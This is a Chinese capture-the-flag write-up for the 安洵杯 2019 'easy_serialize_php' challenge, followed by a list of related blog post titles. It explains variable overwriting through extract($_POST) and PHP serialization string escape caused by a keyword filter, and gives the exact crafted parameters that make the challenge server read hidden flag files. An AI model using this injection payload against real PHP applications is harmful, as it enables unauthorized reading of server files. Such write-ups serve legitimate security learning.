[安洵杯 2019]easy_serialize_php 1 WP
[安洵杯 2019]easy_serialize_php 1 WP
这道题目考察的主要是序列化与反序列化过程中,对象逃逸的一个漏洞。
说是对象逃逸,我觉得可能叫对象注入比较形象。
首先题目上来可以看到源码
<?php
$function = @$_GET['f'];
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
变量覆写
首先关于这个部分
extract($_POST);
使用这个,我们可以任意post东西上去,覆写任意变量。
比如我们post一个SESSION['haha'] = 1, 这个时候原来SESSION的user,function和img项全部会消失,SESSION会只剩一个haha项,值为1
当然,如果我们post三个值user,function和img项上去,就可以替换原来的值。
这里倒没有那么方便,因为img的处理是在post之后进行的。
关于题目内容
简要概括一下就是对session的处理。
session里有三个参数
| 参数名 | 参数内容 | 参数用处 |
|---|---|---|
| user | “guest" | 用户名一类的参数,后面这里是溢出的payload入口 |
| function | \(function = @\)_GET['f']; | 由代码观察,这里是用于放入所选的函数的入口,如 highlight_file, phpinfo, show_image等 |
| img | base64_encode('guest_img.png') | 如果没有输入img_path, 就对img做这样的处理 |
| sha1(base64_encode($_GET['img_path'])) | 如果输入了img_path参数,就对img_path做这样的处理。 |
我们希望使用代码最后一句echo file_get_contents(base64_decode($userinfo['img']));读取到文件内容,
即phpinfo中core部分可以找到的d0g3_f1ag.php文件。
所以我们要让base64_decode($userinfo['img'] == "d0g3_f1ag.php"
所以$userinfo['img'] 要等于 ZDBnM19mMWFnLnBocA==
$_SESSION序列化后, 使用原函数中的filter过滤,然后再反序列化得到这里的$_userinfo。
但是原函数带的对img的处理方式有点让人难以接受,它对其Sha1哈希处理,没有办法利用,随引入本题使用的方式,序列化注入。
序列化逃逸(注入)
回顾一下题目对SESSION的处理。
SESSION --(序列化)--> --(filter函数过滤)--> --(反序列化)--> userinfo --> 读取以userinfo['img']为文件名的内容
在这个序列化和反序列化中间,多了一个过滤的步骤,这就让我们有机可趁。
反序列化从字符串构建变量,依靠关于变量长度的描述。
比如
s:4:"user"
读取这个user字符串,反序列化函数读取到4,就知道这个字符串有4个长度,遂读取4个字符。
然而,对于这个字符串
s:12:"flagflagflag";s:5:"guest";s:2:"hi";
在经过过滤后会变成
s:12:"";s:5:"guest";s:2:"hi";
这个时候,反序列化函数会根据前面的12,读取12个字符,生成这么一个对象
";s:5:"guest
它的值是
hi
知道了这么一个技巧后,我们就可以精心构建一个字符串
我们希望最终构建一个这样的SESSION
<?php
$_SESSION["user"] = "anything";
$_SESSION["function"] = "haha";
$_SESSION["img"] = "ZDBnM19mMWFnLnBocA==";
echo(serialize($_SESSION));
?>
##a:3:{s:4:"user";s:8:"anything";s:8:"function";s:4:"haha";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
然而,如果正常按照题目流程,生成的SESSION应该是这个样子的
<?php
$_SESSION["user"] = "guest";
$_SESSION["function"] = "highlight_file";
$_SESSION["img"] = base64_encode('guest_img.png');
echo(serialize($_SESSION));
?>
##a:3:{s:4:"user";s:5:"guest";s:8:"function";s:14:"highlight_file";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

我们考虑使用user的值,来吞掉后面的部分,即在guest的位置注入,然后让它一直吞到function后面那个数字冒号的位置,让传到function的值来充当原来的值(吞掉的为下面的黑色粗体方框内容)
a:3:{s:4:"user";s:5:"guest【";s:8:"function";s:14:】"highlight_file";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
所以function的值应该包含这些
;s:8:"function";s:4:"haha";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
题目中过滤掉了php,flag,即3位和4位的字符串,我们需要吞掉22位,考虑php*6 + flag
phpphpphpphpphpphpflag
最终服务端构建出来的字符串为这个样子(黑粗体方框内为我们传入的function内容)
a:3:{s:4:"user";s:22:"phpphpphpphpphpphpflag";s:8:"function";s:66:【";s:8:"function";s:4:"haha";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}】";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
经过过滤后是这个样子的
a:3:{s:4:"user";s:22:"";s:8:"function";s:66:";s:8:"function";s:4:"haha";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
这串字符串中,各个变量值为
| 变量名 | 变量值 |
|---|---|
| user | ";s:8:"function";s:66: |
| function | haha |
| img | ZDBnM19mMWFnLnBocA== |
这样我们便完成了对img的覆写。原来的img覆写内容被丢在了序列化字符串外边,没有收到反序列化函数的光顾,像个孤儿。
最终我们传入的参数为
| 参数名 | 参数值 |
|---|---|
| user | phpphpphpphpphpphpflag |
| function | ;s:8:"function";s:4:"haha";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";} |
| f | show_image (get方式上传) |
看下最终效果。

可以看到, 他说flag在/d0g3_fllllllag,我们同理读取
Base64后为
L2QwZzNfZmxsbGxsbGFn
记得包括斜杠

奈斯
[安洵杯 2019]easy_serialize_php 1 WP的更多相关文章
- [安洵杯 2019]easy_serialize_php
0x00 知识点 PHP反序列化的对象逃逸 任何具有一定结构的数据,只要经过了某些处理而把自身结构改变,则可能会产生漏洞. 参考链接: https://blog.csdn.net/a3320315/a ...
- [安洵杯 2019]iamthinking&&thinkphp6.0反序列化漏洞
[安洵杯 2019]iamthinking&&thinkphp6.0反序列化漏洞 刚开始是403,扫描以下目录,扫描到三个目录. [18:06:19] 200 - 1KB - /REA ...
- buuctfweb刷题wp详解及知识整理----[安洵杯 2019]easy_web
尝试之路加wp 观察源代码和get所传参数可猜测img所传参数img就是该图片经过两次base64编码和一次hex编码后可得555.png成果验证猜测 然后发现该图片以data元数据封装的方式放到了源 ...
- [安洵杯 2019]easy_web
0x00 知识点 md5强类型的绕过 方法比较固定: POST: a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%d ...
- 刷题[安洵杯 2019]easy_web
前置知识 md5碰撞: %4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e% ...
- [安洵杯 2019]easy_web-1
1.首先打开题目如下: 2.观察访问的地址信息,发现img信息应该是加密字符串,进行尝试解密,最终得到img名称:555.png,如下: 3.获得文件名称之后,应该想到此处会存在文件包含漏洞,因为传输 ...
- 安洵杯iamthinking(tp6反序列化链)
安洵杯iamthinking tp6pop链 考点: 1.tp6.0反序列化链 2.parse_url()绕过 利用链: 前半部分利用链(tp6.0) think\Model --> __des ...
- 2019 安洵杯 Re 部分WP
0x01.EasyEncryption 测试文件:https://www.lanzous.com/i7soysb 1.IDA打开 int sub_416560() { int v0; // eax i ...
- 2022安洵杯pwn-babyarm
首先就是绕过一个简单的变表base64的加密key 然后就是一个类似ret2libc的利用方式,不过没有直接控制r0的gadget 使用的是arm32中万能的gadget from pwn impor ...
- 2021美团安洵暗泉re部分复现
typora-copy-images-to: ./ 安洵杯 sign_in 贪吃蛇 虽然没啥用 smc解密拿一下flag相关的部分 倒着看看sub_40105F 和sub_401055函数 写出解密算 ...
随机推荐
- docker - [15] springboot微服务打包docker镜像
步骤: 1.构建Springboot项目 2.打包应用 3.编写dockerfile 4.构建docker镜像 5.发布运行 一.构建Springboot项目 (1)创建一个SpringBoot(以下 ...
- SpringBoot - [00] 注解大全
原文链接:https://mp.weixin.qq.com/s/DgNhohtJyEq4vMGEzqrP8A @SpringBootApplication 这个注解用于标识一个SpringBoot应用 ...
- PVE 配置显卡直通
博客链接:PVE 配置显卡直通 配置 Device: Dell PowerEdge T630 CPU: Intel(R) Xeon(R) E5-2696 v4 x2 GPU 1: Matrox Ele ...
- mysql 无数据插入,有数据更新
mysql的语法与sql server有很多不同,sql server执行插入更新时可以update后使用if判断返回的@@rowcount值,然后确定是否插入,mysql在语句中无法使用类似sql ...
- [tldr]通过指令获取github仓库的单个文件的内容
针对一个公开的github仓库,有些时候不需要clone整个仓库的内容,只需要对应的几个文件.但是直接通过网页点击下载文件很麻烦,在服务器上也不好这样操作. 因此,如何使用curl或者wget指令快速 ...
- 启动本地node服务器报错: Access denied for user ‘root‘@‘localhost‘ (using password: YES)
背景:今天启动node服务时直接报错,顿时一激灵,之前(几个月前哈哈)明明好好的.主要问题就是在连接数据库上,我登上mysql瞅瞅有没有问题,当要输入密码时,emmm, 很好, 忘记root密码了,于 ...
- 如何打造你自己的 AI 软件工程师(像 Devin 那样)
扩展 DeepSeek 的强化学习蓝图路线到AI的其他方面 Nikhil Anand 图片由GPT-4o生成 "AI 软件工程师"这个概念,其实已经不再遥远了.已经有一些技术在逐步 ...
- Ubuntu修改启动顺序以及系统时间同步问题
Ubuntu修改启动顺序以及系统时间同步问题 修改启动顺序 选择要优先启动的序号,从0开始计数 修改配置文件 sudo vim /etc/default/grub 使用这个命令刷新一下 sudo up ...
- 深入理解 Java AQS 原理与 ReentrantLock 实现
目录 一.AQS 简介 二.AQS 核心设计 2.1 核心组成部分 2.2 AQS 的工作原理 2.3 AQS 的关键方法 三.ReentrantLock 与 AQS 的关系 3.1 Reentran ...
- 【工具篇】git常用命令分享
1. 配置 1.1 设置全局用户名和邮箱 git config --global user.name xxx git config --global user.email xxx@xxx.com 上述 ...